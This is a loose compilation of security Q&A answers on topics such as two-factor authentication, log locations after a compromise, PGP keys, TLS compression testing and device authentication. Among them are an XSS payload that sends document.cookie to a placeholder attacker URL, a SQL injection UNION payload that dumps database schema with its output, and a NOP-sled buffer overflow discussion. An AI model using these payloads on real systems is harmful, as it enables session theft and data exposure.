Website login protection with chrome extension

It sounds like you are potentially looking for a physical form of two factor authentication.  You may want to look into the YubiKey.  It's an easy to add two factor auth to a PHP web app (they even have PHP libraries for you).  The keys themselves are very affordable (although I don't know your budget)

If you don't really need a physical device, then definately go with what itscooper suggested.  Certificates are totally free, and require pretty much no user interaction (although that can be a downside if the users system isn't secure).

I would have added this as a comment, but I don't have enough 'points'.  So silly.


I want to know how can I find the shell script used to perform the attack

Check Logs

Here is a list of some logs you could look at:

/var/log/messages # General message and system related stuff
/var/log/auth.log # Authenication logs
/var/log/kern.log # Kernel logs
/var/log/cron.log # Crond logs
/var/log/maillog # Mail server logs
/var/log/boot.log # System boot log
/var/log/mysqld.log # MySQL database server log file
/var/log/qmail # Qmail log directory
/var/log/httpd # Apache access and error logs directory
/var/log/lighttpd # Lighttpd access and error logs directory
/var/log/secure # Authentication log
/var/log/utmp # Login records file
/var/log/wtmp # Login records file
/var/log/yum.log # Yum command log file
/var/log/nginx # Nginx

Check Bash History

cat ~/.bash_history

A big caveat here is that these are well known log locations and depending on the access the attacker gained, they may have cleared them. This is a start though and may give you some insight as to what happened.


Difference between OS X md5 and gnu md5sum

By default, echo leaves a trailing newline. So you need to do:

echo -n Hello | md5sum

8b1a9953c4611296a827abf8c47804d7


If you ever need to check a suspicious URL, you can use a service like urlquery to check if it has a malicious reputation, the HTTP transactions that take place, any java script that runs, etc etc. Very useful. They also provide a screenshot of what the visited page looks like.

http://urlquery.net/


Can't overwrite rip with address in simple buffer overflow (Ubuntu x64)

Please explain what you mean by "doesn't work". I am not able to comment because of my reputation.

I tried out your running your program and I used the same exploit. The exploit works fine.

I am able to think of 2 reasons of why it may not be working.

I hope you have disabled ASLR. Even if it is disabled, sometimes, the addresses change. But the change won't be as random when ASLR is on. So, make sure you take care of this.
Another reason why you feel/think it is not working could be the following:

This is the exploit code in the stack(buffer):

0x7ffffffede20: 0x90909090...................9090-0x20-0xde-0xfe-0xff-0xff-0x7f-0x00-0x00

The first 264 bytes are NOP bytes. Next 8 bytes is the Address of buffer.

RIP value will be the address of the buffer and then control is transferred to the beginning of the buffer.

Now, all the NOPs get executed one after another. When it encounters the bytes 0x20-0xde-0xfe-0xff-0xff-0x7f-0x00-0x00, this is no more an address. This is just 8 bytes which will be executed. I hope you get this point. They will be executed only if they are valid instructions. If they are not valid, the program SegFaults.

This is what the processor interpreted those 8 bytes as: (output of gdb-peda)

[-------------------------------------code-------------------------------------]
    0x7fffffffd975: nop
    0x7fffffffd976: nop
    0x7fffffffd977: nop
 => 0x7fffffffd978: jo     0x7fffffffd952
    0x7fffffffd97a: (bad)
    0x7fffffffd97b: (bad)
    0x7fffffffd97c: (bad)
    0x7fffffffd97d: jg     0x7fffffffd97f
                                                             JUMP is NOT taken

Continuing, the program got killed due to SIGILL - (bad) instruction.

When it run normally without a debugger , it is seen as a Segfault.

This may or may not be the reason.

Would really help if you show some output of what is happening, why it is not working. We can dig deeper and find the cause.


Can I generate multiple PGP key pairs for later use

Realistically, the chances of generating the same key pair are non-existent unless there is an issue with the pseudo-random number generator.  The keyspace of most keys is so large that you could randomly make 1000 keys a second on every computer in the world and not get a collision for millions or billions of years or (much, much) more.  For larger key sizes, you could probably generate a million a second on every computer in the world and still not get a collision on any of them by the heat death of the universe (assuming the PRNG is good at producing random numbers anyway).

If there is a flaw in the PRNG, then yes, the same seed could get used and the same key would be created, but that would be a significant problem in the particular version of the software you are using then, not a problem with the system itself.

As for making multiple keys and saving them, there is no reason you couldn't do this, but there are several reasons you shouldn't.  The only reason you should need to change key pairs is if your private key becomes compromised or may have become compromised.  It is often a best practice to periodically change your key pair just in case your private key has been compromised, however if you have generated your key pairs in advance, it doesn't stop those private keys from aging.  The key pair you haven't used yet is just as likely to have been compromised as the key pair you are currently using, so replacing one with the other makes no sense.  You gain no precautionary security.

Instead, if you want to do precautionary replacement of your key pair, you should use a freshly generated key pair where you know that the private key is secure because it was not previously available.


I think you're maybe giving too much credit to malware authors in terms of understanding *anti-reverse-engineering(and maybe also too much credit to professional software devs;). In my experience most malware authors each use their own 'favorite' set of techniques with small variations(lots of times based on code from other authors or researchers), the same way a webdev might use mostly the same input sanitization code each time they write a password field, irregardless of the underlying application code.

Also, in regards to saying, "why doesn't it account for x tactic": malware is cat-and-mouse; even if you created the "best" anti-re code, if it's used enough it'll eventually become a detection signature.

Lastly, keep in mind that no malware is impervious to analysis, so it's more akin to DRM on games; try to get as many infections as possible before it's cracked. You could spend months crafting fancy anti-re schemes for a single piece of malware just to see it broken and turned into a signature in a couple days anyways, so it's probably better to go for quantity of malware over quality of anti-re defenses.


Where should the authorization logic go in an api based application?

Obviously authorization needs to be checked on the server side, as relying solely on client checks opens you up to malicious clients. There's no general consensus on where in the server-side code you should do these checks, but I'm going to argue for it being as close to the edge as possible.

For one, this is often the easiest. You have immediate access to the data of the call, and can return the appropriate error message directly instead of relying on an exception bubbling up through several layers.

Secondly, authorization is often more complex than you might anticipate. Take GitHub for example - to perform certain sensitive actions, you most first re-enter your password. This sort of check tends to be much easier to deal with on a page-by-page basis, rather than building complex conditionals into the model layer.

From a security perspective, there's definitely an argument to be made for a deep authorization approach, namely that you don't rely on developers remembering to handle authorization in every new endpoint. However, my opinion is that the clarity and simplicity gained from an edge-based approach outweigh these benefits.


What are best practices to adhering to HIPAA encryption requirements?

I work in healthcare integration and dealing with encryption is a must.  If we are designing real-time HL7 interfaces to 3rd party vendors who are outside of our corporate network then we absolutely setup a full time dedicated and of course encrypted VPN connection between the two of us.  That's mostly because a lot of applications can't support SSL encryption on a HL7 TCP/IP interface (although most integration engines do).

When doing file transfers we insist on using FTPS (FTP over SSL) or SFTP (Secure File Transfer Protocol).  Some vendors require us to do PGP encryption and signing of files as well.

At a minimum you must have transport encryption.  On top of that, data encryption can only help.


Saving random seed on restart/shutdown, and restoring it during system boot

Why do that at all, in the first place. Do we need to "preserve" the random seed between restarts ? What would happen if we don't? Will the computer have 0 randomness when it boots?

This turns out to be a much deeper question than you might realize. I'll try to do justice to it without writing a textbook.

Basically: computers suck at randomness; when you have some true randomness (aka entropy), it's a good idea to hold on to it.

Let's assume that your computer doesn't have a hardware random number generator. (Modern Intel chips have the rdrand instruction that taps into a hardware rng, but for political reasons, the Linux kernel doesn't use it.)

On boot, where does the kernel get pure randomness from? According to Wikipedia:

  The Linux kernel generates entropy from keyboard timings, mouse movements, and IDE timings and makes the random character data available to other operating system processes through the special files /dev/random and /dev/urandom. This capability was introduced in Linux version 1.3.30.

So mouse, keyboard, and timing of harddrive IO events. Let's say you need entropy during OS boot (for example you start sshd which needs to generate keys on its first startup), you haven't loaded the mouse and keyboard drivers yet, and that early in the boot cycle you won't have made very many disk IO calls -- hell, early enough in the boot the kernel is still running in a RAM FS, and even after that you may be on an SSD or flash drive that has very predictable IO times.

So back to your question:

  What would happen if we don't? Will the computer have 0 randomness when it boots?

It's possible.

On small embedded linux devices like routers that boot out of flash memory  (both the small home ones, and the big datacentre ones that power the internet), this is actually a serious problem.

For an awesome read on this topic, see the 2012 paper Mining Your Ps and Qs: Detection of Widespread Weak Keys in Network Devices which has the shocking finding that

  0.75% of TLS certificates [on the internet] share keys due to insufficient entropy during key generation.


Hashing is indeed the opposite of what you are looking for (any change in the input leads to a completely different hash). You could try a perceptual hash instead.

As a side note regarding your hash/salt attempts:

why would you need salting? It is not like someone could reconstruct the original document (similar to reconstructing a password and comparing it to a hash -> thus the need for salting).
why bcrypt? This is a slow algorithm (perfect for passwords) but in your case you want speed, you do not need to slow down a potential attacker (again, nobody will reconstruct a document to hash it and compare to your hashes)


Kali Linux: Run penetration test and generate report for particular site?

This is too broad question, but I'll mention some tools that I've found useful and easy to begin with:

Netsparker

Good tool that helps with testing SQL Injection and Cross-site Scripting. Check this image for a report example.
Nessus

Amazing tool due to its ease of use, installation and activation might be difficult, but it's a good tool to try. It can help you with scanning html5 and Ajax web applications, along with host scanning. Check this image for a report example.
W3af

Another good tool for testing web applications, it also can helps with HTTP basic and digest authentication testing. Not sure if there's a good report generating.

You can check this article for many other tools.


Choosing right way to secure access to server access via socket

Authentication is about reliably recognizing who is at the other end. Since, from the server, you "see" the client only through network packets, and since everybody can buy the same kind of hardware, you may hope to properly authenticate a specific client only if that client is able to compute things that other systems would not. This implies that the client must know some "secret". There is no avoiding it. If no secret can be stored client-side, then authentication from the server is hopeless.

Now, it so happens that in the case of a phone, the client system comes with an appendage usually designated as "human". There is a (loosely maintained) one-to-one relationship between a phone and its owner. This means, in your context, that the client-side secret can be stored in the device itself, but also in the brain of the human user. We call that, technically, a "password".

Alternatively, there is a reliably stored secret value stored on the phone side: it is the key in the SIM card. That specific secret is what is used by phone companies to distinguish phones from each other, and all the billing is based on it. You might be able to leverage that authentication, but only by integrating with the phone companies; you don't do that with a mere "server on the Internet". A practical implementation would be the following:

Client app connects to your server (with some appropriate protocol, typically SSL/TLS).
Server sends a SMS to the user, containing a random numerical code.
User reads the SMS and types back the code in the app.
The app sends the code to the server.
The server sees that the code sent from the app matches the one it just sent by SMS, and is happy.


Authentication on remote, unmanned, unconnected machines/devices

So I think that, given the lack of physical security of the devices, whatever you do will be only best-effort. You just can't stop someone from stripping the device down, reading the data, modifying it, etc... Let's just take that as a given and move on.

This solution utilizes HMACs. An HMAC takes two inputs, a string and secret, and produces an output string that is cryptographically difficult/impossible to forge without knowing the the secret.

Put on all devices a shared secret (the same one) that is also known by the device administrators (they're the ones who give out authentication information to technicians). As the device is not physically secure, the storage of the secret will be less-than-perfect, but we already agreed that we'd be OK with this.

An admin will give a user a username and a password. The password will be the result of HMAC(secret, username) (possibly truncated to some reasonable length). When the user logs into a device, they will enter their username and password. The device will recalculate the HMAC, truncate it to the appropriate length, and compare it with the user's password.

Depending on your needs, you can make some changes to the system:

Instead of storing the same secret on every device, you can store different secrets. This will, of course, increase administration costs, but it will add some security. You could give each device its own secret or group devices by geographic location, issue date, or other means.
Along with the username and password, you could give each user a password expiration date. They would then enter their username, password, and expiration date when logging in. Their password would be HMAC(secret, username + expiration date). The advantage of this is that passwords naturally timeout so an exposed password won't haunt you forever. The disadvantage is that users will need to continually get new passwords. Unlike more typical password expiry, users will need to contact admins to get their new password. Here too the lack of physical security may allow attackers to reset the date on the device, reactivating an expired password. Again, we agreed that perfect security won't be possible without hardware security.
Depending on the flexibility of the device, you may be able to move the credentials to a USB drive, SD card, or some other device that can be used for authentication. An encrypted USB key like this one will provide you with 2-factor authentication.
With each user having a unique login, you can implement some type of auditing.

Notable problems with this system include:

Inability to disable a password. Even if you use the date extension, you need to wait for the password to expire.
Unless you use a secure USB key (or similarly secure device) for authentication, it is still open to users creating "passwords.txt" files.
The lack of hardware security greatly reduces any security efforts.


As a IDS/IPS Suricata is not used for white-listing anything which is allowed but for detecting signatures of known attacks, i.e. black-listing known malicious things. Insofar a rule to match everything and drop would not make any sense since this would essentially drop most of the innocent traffic. The expected behavior is instead to pass everything which was not specifically detected as attack. And this is what Suricata is doing when run as IPS inline.


AWS has very specific rules in place to help prevent their boxes from being abused. Running Kali or streaming to an ec2 instance is very restricted if not impossible. I don't know exactly how they are enforcing these rules (firewall rules on their end, something in their Virtual Machine Setup, etc), but if you are trying to test a vulnerability on a AWS box I doubt you'll have any luck.


Does checking the fingerprint of a self signed certificate improve security?

In SSL/TLS, the client uses the server's public key. Since in general the client does not know the server's public key in advanced, it expects to obtain it through the magic of the Public Key Infrastructure: the server's public key will be presented in a certificate and the client will be able to verify that:

the certificate contents are genuine (that's validation: signatures and names and certificate extensions are correct and link up to a trusted root);
the certificate is owned by the intended server (the expected server name appears in the Subject Alt Name extension of the certificate, or its Common Name if there is no SAN extension).

Now all of this is needless complication if the client already knows the public key; if that key is known a priori, then the client can just use it and simply ignore the certificate sent by the server.

For the sake of compatibility with the formal specification of the protocol, and to more easily reuse existing libraries and implementation, it is probably even simpler to do what you suggest, i.e. verify that the server's certificate is bit-to-bit the expected certificate, and let the code extract the public key from that. The "fingerprint", if it is computed with a hash function which is resistant to second preimages (e.g. SHA-1), can be used for that check. This is fine.

In your case, I understand that the server is the device, and the client is your application. Your application won't be fooled (talking to a fake device) only as long as the attacker has not compromised the device's private key, i.e. extracted it from a device. If you have several devices then each device should have its own private/public key pair. If all devices have the same key pair, then the private key cannot be considered "private": a secret which is known to more than two or three people is not a secret, but a rumour.

The "safe" way is then to have some sort of initialization phase, under controlled conditions, where the application instance learns the fingerprints of the devices to which it will thereafter connect (maybe the application generates the public/private key pairs and self-signed certificates, and imports them into the devices).

This is the security model used in SSH: the first connection from a client to a given server requires an explicit confirmation (the client shows the server's public key fingerprint, and the human user is supposed to verify it by, for instance, phoning the server sysadmin); afterwards, the client trusts that public key because it remembers the fingerprint.

The "remember the key" model works well, but you must be aware that it forfeits the PKI feature known as revocation: an out-of-band, automatic mechanism to convey damage containment information. If the private key of one of the devices is compromised, then the thief can thereafter run a fake device and fool your application into connecting to it; to avoid this situation to persist, the application must somehow be warned that a given certificate fingerprint must no longer be accepted. Revocation checks, with regularly published CRL or OCSP responses, is an automatic method to do that. When you have remembered fingerprints, there is no PKI, thus no CRL. But the need may be still there.

If you follow the no-PKI road, with embedded certificate fingerprints, then you have to decide whether you need something to ensure the job normally done by CRL.


You can try to open your browser developer tools (JS console and html view) to see if there is a problem with your JS code or maybe the way your payload is interpreted by the server and then your browser such as characters being escaped.

If you can directly execute JS, then you can do something like this<script>document.location="http://yoururl/something.php?c=" + document.cookie;</script> which is easier.


Normally the version of Apache within Debian squeeze should be up-to-date with all security patches. This means that the version itself might run behind but that all security updates have been applied in form of backported fixes (this is often done by Debian).

You should follow a hardening guide as well, most of these Trustwave vulnerability reports solely depend on the advertised HTTP headers. Hardening guides will also help you in making your setup more secure as you expose less information about your setup.


Reverse-proxy not a solution to DDOS attacks when hosted on PaaS?

There are 2 ways to solve your problem:

Put an AWS Cloudfront distribution between Cloudflare and Heroku. You can use them together and Cloudfront is suitable for dynamic content.
Override the Host header in Cloudflare. As of early 2016 it requires an Enterprise subscription.

In both cases, you remove the front-facing domain from Heroku control panel, effectively preventing direct requests from hitting your dyno.

P.S. Just to be clear, you set the Host header (origin for Cloudfront) in both cases to something like evening-sands-32400.herokuapp.com.


Under GDPR or NIST definitions this would count as Personally Identifiable Information (PII).  Anything that can be used to identify a person uniquely (by itself or in conjunction with other information) is considered PII.


Local Scans initiated from a VLAN Broadcast IP address

It is possible to source a packet with an arbitrary IP address, even an invalid IP address.  This is commonly done with DDOS attacks.

For scanning to be effective, the scanner needs to get the response traffic back. If the scan came from 192.168.2.255, and if the network was 192.168.2.0/24, then the response would be broadcast on that subnet and every host on that subnet (including possibly the scanner) would see the response.

To identify the scanner, look at the Ethernet header of an inbound scan on the originating subnet, and look for the source MAC address.

Long ago, “IP directed broadcast” was enabled by default on Cisco routers.  My company used to synchronize time by broadcasting NTP updates to the class B directed broadcast address for our site (similar to 172.16.255.255).  The NTP update would flood my class-B.

For the past two decades, “no IP directed broadcast” has been default on Cisco (and presumably other vendor) routers, for obvious security reasons.

192.168.2.255 is a perfectly valid IP address if the originating subnet is 192.168.2.0/23.  The intermediate routers and your host have no idea if 192.168.2.255 is valid unless they are directly on that subnet.

It is good that the windows filtering platform is blocking and logging some of this.  “Do not accept packets where the source IP is the broadcast IP of a directly attached subnet” sounds like a good rule.  “Do not accept packets with a multicast source address” would be another good one.


Why does the issuance speed of a CA depend on the number of certs they have already issued?

Self-answer.

The comments suggest that these results can be explained by the fact that we are doing near-constant inserts into an unmanaged, one-size-fits-all database, and that they could likely be fixed by putting some effort into the database.

In mentioning this to a colleague, it was pointed out that some CAs will - as a courtesy - check that your public key is unique to prevent one server from impersonating another. That would require an O(log n) search, or background hashtable maintenance, or something else that would use non-trivial amounts of CPU as the database gets large.


Closed Internet Explorer inprivate trace

The whole point of the private modes that modern browsers have is to make this difficult, by removing temporary cached files, leaving no history and not storing cookies.

As @drjimbob says, your best bet is probably going to be to dump RAM if you don't have access to any of the network logs.


What does (@) and (@:=0x00) stand for in this payload?

@ - is the variable name
@:=0x00 - is the assignment of zero into this variable.

Note: := is the assignment-operator

Thanks for @Frank Cedeno and @strnk for their Q&A in the comments.

  @Frank Cedeno - How /!12345sELecT/ becomes select?

  @strnk - This is a MySQL-specific extension to SQL comments, the sELecT is only included in the query if the server version is greater or equal to 12345 (1.23.45), so it filters-out non-MySQL servers

More Info:

From websec sql_injection:

Retrieving Multiple Tables/Columns at once

SELECT (@) FROM (SELECT(@:=0x00),(SELECT (@) FROM (information_schema.columns) WHERE (table_schema>=@) AND (@)IN (@:=CONCAT(@,0x0a,' [ ',table_schema,' ] >',table_name,' > ',column_name))))x

Example:

SELECT * FROM Users WHERE id = '-1' UNION SELECT 1, 2, (SELECT (@) FROM (SELECT(@:=0x00),(SELECT (@) FROM (information_schema.columns) WHERE (table_schema>=@) AND (@)IN (@:=CONCAT(@,0x0a,' [ ',table_schema,' ] >',table_name,' > ',column_name))))x), 4--+';

Output:

[ information_schema ] >CHARACTER_SETS > CHARACTER_SET_NAME
[ information_schema ] >CHARACTER_SETS > DEFAULT_COLLATE_NAME
[ information_schema ] >CHARACTER_SETS > DESCRIPTION
[ information_schema ] >CHARACTER_SETS > MAXLEN
[ information_schema ] >COLLATIONS > COLLATION_NAME
[ information_schema ] >COLLATIONS > CHARACTER_SET_NAME
[ information_schema ] >COLLATIONS > ID
[ information_schema ] >COLLATIONS > IS_DEFAULT
[ information_schema ] >COLLATIONS > IS_COMPILED

This Stackoverflow answer explains the SQL code:

  First of all i would make the query a litte bit more readable by
  reformatting it:

1) SELECT (SELECT (@)
2)         FROM (SELECT (@:=0x00),
3)                      (SELECT (@)
4)                       FROM (information_schema.columns)
5)                       WHERE (table_schema >= @)
6)                       AND   (@) IN (@:=CONCAT(@,0x3C,0x62,0x72,0x3E,' [ ',table_schema,' ] > ',table_name,' > ',column_name))
7)                       )
8)               )
9)        a);

  The assignment of @ is as follows:

  In Line 3 it gets the value 0x00 (Decimal: 0)
  In line 5 this value is used for the greater than (table_schema >= 0)
  Line 6 is a way to concat each schema, table and column name into @
  @ is returned in line 1 and contains a concatenated list of your structures

  In line 6 an additional <br> (0x3C,0x62,0x72,0x3E) is added to the
  variable to make the output more readable


Is it advisable to accept STUN server connections?

STUN (Session Traversal Utilities for NAT) is a mean for a device which sits behind a NAT firewall to learn the public IP address of the Internet connections which is beding natted. I.e. your laptop may have been assigned a "private" IP address as per RFC 1918, for example 192.168.1.123. Any software on your laptop asking the operating system "What is my IP address" will get 192.168.1.123 as an answer, which isn't helpful for applications which try to use protocols that were simply made without NAT in mind.

The NAT unfriendliness of protocols usually kicks in whenever a client connects to a server and is supposed to tell the server its own IP address in order for the server to be able to initiate connections to the client (as opposed to just sending answer packets on the same IP connection; this is handled by NAT routers.

STUN is a means for a client to learn the public IP address of the NAT router through which the connection is natted in order to use that information when registering with a server that wants to call back now or later.

The 95% use case indeed is VoIP telephony, especially SIP.

If you found that the STUN requests originate from the Safari process, it cannot be either Skype or any other conferencing software, as that would typically spawn a separate process.

STUN (and TURN) might be used by Safari for WebRTC connections; though that should only happen while you are using any such sites, i.e. video chats in the browser.

Otherwise - to answer your original question - there is

no reason to allow those connections unless you intentially use any services which need them and
I would want to find out what piece of code (browser plugins?) try and make those connections

It may turn out it's something you just did not think about. But it may also turn out to be something harmful.


Passing encryption with IV as a single array

IVs are not secret and it is common to pass them along with ciphertext. That part is not a problem. Since you didn't say what threat you are defending against, I will assume you worry about reading the password from memory directly or from memory dumps. In that case you might have a different problem with your approach: strings.

Strings in .NET are immutable and you cannot clear it after you are done with it. If you assign an empty string to a variable, the old value will remain in memory and you will get new empty string object in its place. Even if you create a byte array and encrypt it like you proposed, the left over string will remain in memory and will wait there until Garbage Collector clears it.

If you don't control the way passwords are received, this might be impossible to solve. You need to make sure password is never stored in a string. Let's assume you can solve this part. Your options then would be:

You can either always use byte arrays and do encryption like you described (salt is not required, just make sure you never reuse key/IV pair and generate random IVs with strong CSPRNG) or
Use SecureString.

SecureString is designed to solve exactly the problem you describe without the need to "roll your own".

Introducing cryptography primitives into a solution and believing it will make the solution more secure is deceptive. Sometimes the scope of the problem is much larger than you realize.


Is it possible to verifiably timestamp a video?

You mention surveillance cameras as one possible application, and I assume you want its footage to hold up in court, but for that it usually does not need to be accurate to a single frame (with dozens of frames per second). Therefore I'm not sure I understand your exact purpose, but here is what I can think of:

You can prove that something was recorded at "a certain time or later" by including unpredictable events, such as the most recent news headlines or stock data.
You can prove that the footage is from "before a certain time" by using a trusted third party (TTP) which timestamps (or keeps a copy of) the data.
You can sometimes correlate audio with the electricity grid's frequency, called electrical network frequency analysis: https://en.wikipedia.org/wiki/Electrical_network_frequency_analysis

I'm not sure if there are TTPs that can do timestamping of a video stream in realtime, but as far as I know it's impossible to prove (without TTP) that something happened before a certain time: with hindsight, you can always apply/include things from the past. Even the electric hum can be applied afterwards. The question is: would the judge (or in some countries, random people off the street) believe that you went through all that effort to forge surveillance video evidence? Are there any indications of forgery? Could it reasonably have been done in the time that you had between the crime and the submission of evidence?


You're probably seeing session resumption.  If the Client Hello and Server Hello packets both have the same Session ID value, then the handshake is shortened as the Client and Server 'recognize' each other.

To quote RFC 5246:

  The client sends a ClientHello using the Session ID of the session to
  be resumed.  The server then checks its session cache for a match. If
  a match is found, and the server is willing to re-establish the
  connection under the specified session state, it will send a
  ServerHello with the same Session ID value.  At this point, both
  client and server MUST send ChangeCipherSpec messages and proceed
  directly to Finished messages.


Is it safe to download internet files over TOR

Usually, the reason to be cautious about downloading executables over Tor is that the Tor network creates a man-in-the-middle scenario: the exit node can alter the download, or replace it entirely, so that you receive some sort of malware instead. The way to solve this is to use https, in which case your connection to the website has an additional layer of encryption that will produce a large, obvious warning if someone tries to tamper with the response.

Now, as far as anonymity goes, the warning you get from the tor browser bundle is essentially saying that by opening files outside of the browser, they can't protect you any more - they can't make any guarantees about what those files will do, and it's possible they will send your real IP back to some server somewhere.

Downloading chrome over Tor, for instance, does not mean that chrome will be automatically protected through tor; it will make requests to websites directly (unless you configure it differently), and the install process might even send a note to Google saying "hey, this person installed chrome".  Other times, opening a file can break anonymity in less obvious ways; for instance, opening a video file in your media player may trigger a fetch of a remote media file, giving that server your IP. I suspect this doesn't matter to you, since you are installing another browser; it's mostly a matter for people with high anonymity needs.  If it does, however, that's the purpose of systems like Whonix.


Tools to test for BEAST/CRIME that AREN'T Internet-based?

Edit (2012/09/23): Ask and ye shall receive. TestSSLServer is a simple command-line tool which I wrote this week-end; it obtains from a given SSL/TLS server the list of supported cipher suites, protocol versions and support of TLS-level Deflate. It then gives a summary of the encryption strength and the vulnerability to BEAST and CRIME attacks. It is written in Java and should work "everywhere" (I only tested it from a Linux/ppc client, though).

(Note that BEAST and CRIME target the client, not the server. We are talking here about steps which the server can take to "protect" the client by not allowing it to use vulnerable feature combinations.)

Original response:

For compression, there are two places where it may be activated; the blog post you link to talks about the wrong place, the one the CRIME attack is not about.

CRIME uses the compression which is at the SSL/TLS-level: a compression negotiated during the handshake, and which applies to every byte which is sent within the SSL/TLS tunnel. In a HTTPS context, this compression operates on both the HTTP request/response bodies and the HTTP headers (including the cookies, which is the point of CRIME). The compression which occurs at the HTTP level is the one which is specified with HTTP headers (like "Accept-Encoding") and which applies to the request/response bodies only. That compression does not cover the cookies (which are in the headers) and is thus, presumably, CRIME-free.

(This does not preclude the theoretical existence of a CRIME-like attack which abuses HTTP-level compression on the bodies, but it would require a request or response body which contains both confidential data, and data which the attacker can choose.)

To test a server for compression support, use this:

openssl s_client -connect www.theservername.com:443

This will produce some output which contains the server's certificate, and ends with a block of text which looks like this:

---
New, TLSv1/SSLv3, Cipher is DHE-RSA-AES256-SHA
Server public key is 2048 bit
Secure Renegotiation IS supported
Compression: zlib compression
Expansion: zlib compression
SSL-Session:
    Protocol  : TLSv1.1
    Cipher    : DHE-RSA-AES256-SHA
    Session-ID: 4B4110C44117BA0382CA6C3903A8185E0C156B253073E66B2D44F04B83611633
    Session-ID-ctx:
    Master-Key: C11D38EE064BE6549364D54BD60E216E367A52825E62FFCCBEFC4AC8DB97D07BD72B7355CB268B91E3AD176EB69446AA
    Key-Arg   : None
    PSK identity: None
    PSK identity hint: None
    SRP username: None
    TLS session ticket lifetime hint: 300 (seconds)
    TLS session ticket:
    0000 - 4c f8 be c1 d1 0f cf 03-4a 99 89 8b 75 28 97 3c   L.......J...u(.<
    0010 - 3e cf 2a b8 0f f0 d1 b4-7d c7 83 16 03 2c f0 8a   >.*.....}....,..
    0020 - 1b a7 57 be dd 1b be a3-14 eb cf 34 42 99 e0 5a   ..W........4B..Z
    0030 - c5 96 43 da c7 d9 dd da-ed 4c e2 7c eb c1 8b a8   ..C......L.|....
    0040 - ce 73 c8 22 43 10 88 d6-d2 f2 df 91 9d 47 71 70   .s."C........Gqp
    0050 - 77 bb c0 55 cd 46 34 3b-44 26 36 a1 7f 37 64 cd   w..U.F4;D&6..7d.
    0060 - 72 64 66 89 cc f6 8b 23-17 9b 9a 91 23 6a f7 c2   rdf....#....#j..
    0070 - 8a e2 8c 10 85 8f b7 6c-60 d2 b6 72 b3 13 98 8b   .......l`..r....
    0080 - 75 da 68 cc 2a ca 4f fb-ec 4c f2 db 91 4a f7 2a   u.h.*.O..L...J.*
    0090 - 40 eb 92 44 c7 7a f7 84-ef 65 ea 2c 96 aa c5 ba   @..D.z...e.,....
    00a0 - c3 b5 76 6d 52 03 85 c9-27 53 a2 a4 70 54 06 37   ..vmR...'S..pT.7
    00b0 - 82 3e 09 93 21 6d f6 e7-eb cf c3 5e 26 19 e1 a2   .>..!m.....^&...

    Compression: 1 (zlib compression)
    Start Time: 1348073749
    Timeout   : 300 (sec)
    Verify return code: 20 (unable to get local issuer certificate)
---

This was done on a server which supports TLS-level compression. You see "zlib compression" in three places: Deflate compression is indeed supported by this server. Note that there is not a single sign of a HTTP header anywhere ! Just type the openssl command, and look at the output. No need to enter a HTTP header.

On a server which does NOT support TLS-level compression, things will look like this:

---
New, TLSv1/SSLv3, Cipher is ECDHE-RSA-RC4-SHA
Server public key is 1024 bit
Secure Renegotiation IS supported
Compression: NONE
Expansion: NONE
SSL-Session:
    Protocol  : TLSv1.1
    Cipher    : ECDHE-RSA-RC4-SHA
    Session-ID: 59D609F13BEE9157D26318ADB12F4CF219EF7A1BC2C87AF84AD66773303F90A6
    Session-ID-ctx:
    Master-Key: 1DD9E0C306A86A7EC823561EF0B1F47B63E70B43D57F3B3FBB3D389863F540E3B4CCE5DE454E6D19811C24001E95777A
    Key-Arg   : None
    PSK identity: None
    PSK identity hint: None
    SRP username: None
    TLS session ticket lifetime hint: 100800 (seconds)
    TLS session ticket:
    0000 - de c6 06 25 10 c9 22 38-c4 1f 82 d7 c7 b5 62 08   ...%.."8......b.
    0010 - 01 c0 e1 26 e2 64 8a 62-99 74 85 bb 60 bf a8 e0   ...&.d.b.t..`...
    0020 - 65 08 74 89 d5 62 45 e9-b4 f0 80 4e f7 bd ff d5   e.t..bE....N....
    0030 - 6a 12 3b 90 97 ca 7a f4-d1 1b e1 0d 89 d2 52 49   j.;...z.......RI
    0040 - 11 fe 92 82 94 70 ba 4b-5e 81 ff f2 12 62 f4 79   .....p.K^....b.y
    0050 - 11 eb 74 7a d6 ee 10 4e-b5 6d 50 8d 1c 1c 8e 57   ..tz...N.mP....W
    0060 - 19 46 67 91 89 2e 45 28-2e 49 94 8e c8 32 28 bf   .Fg...E(.I...2(.
    0070 - 7b 73 82 ab 63 c4 b7 8f-5c b3 1b 5c 74 59 3c 8d   {s..c...\..\tY<.
    0080 - ec 8a 6a 3a 28 c2 82 c1-d7 d5 4f ec 7e 79 e7 57   ..j:(.....O.~y.W
    0090 - 4a f9 45 e7                                       J.E.

    Start Time: 1348074257
    Timeout   : 300 (sec)
    Verify return code: 20 (unable to get local issuer certificate)
---

The "Compression: NONE" shows that this second server indeed rejects usage of TLS-level compression.

Note also that the first server chose DHE-RSA-AES256-SHA as cipher suite, i.e. a suite which uses the block cipher AES in CBC mode. This first server is then potentially vulnerable to both BEAST and CRIME. The second server selected ECDHE-RSA-RC4-SHA, which is BEAST-immune.

(First server is mine; since I do not use cookies at all on it, I am not nervous about cookie-stealing attacks. Second server is www.google.com.)

If I find the time, I will write a tool which gives such results more easily. There is no need to do a full SSL/TLS handshake, only to send a ClientHello et look at the ServerHello which comes back.


There are some great platforms in this arena, the first I ever heard of, SecurityOnion. It's still great after all these years
There are also other platforms such as Malcom and VAST that have different perspectives.


Chrome Internal Certificate Authority List for SSL + EV

You can easily find them in the source code of Chromium:

ev_root_ca_metadata.cc

If the EV Root Certificate isn't in that list it will simply be used like any other root certificate, i.e. no fancy name company name in the address bar.


If found this answer which states that in 2018 a single GPU could crack an 8-character password hashed with SHA-256 in ~26 days.

This benchmark is irrelevant to determine the necessary strength of a password, at least if a proper password hash is used. The benchmark is more useful to show that SHA-256 is not a useful algorithm for password hashing.

What password length is sufficient in 2020?

The length is not that much relevant either. If you pick from a small but known set of easy to remember but long passwords all what matters is the size of the set, not the length of the password.
If you use a password generator instead to create random alphanumeric passwords, then 8 is still sufficient, assuming proper password hashing (i.e. slow hashes with unpredictable salt). Of course, nobody can really remember such random passwords, so better use a password manager. And if you use a password manager anyway you can also use longer passwords with no additional efforts and thus reduce your risk in case bad password hashing was used.


Samba usually refers to the *nix implementation of the SMB protocol.

Basically, it means you have a machine that is either directly connected to the net or has it's IP forwarded in your firewall and that has file or printers sharing enabled.

Whether that service can be remotely exploited (in any way) depends a lot on what's your actual setup it. However, finding an open SMB server usually is a sign of poor security since it's not a protocol that is commonly shared across public network.


Would suggesting a random passphrase during sign-up hurt overall security?

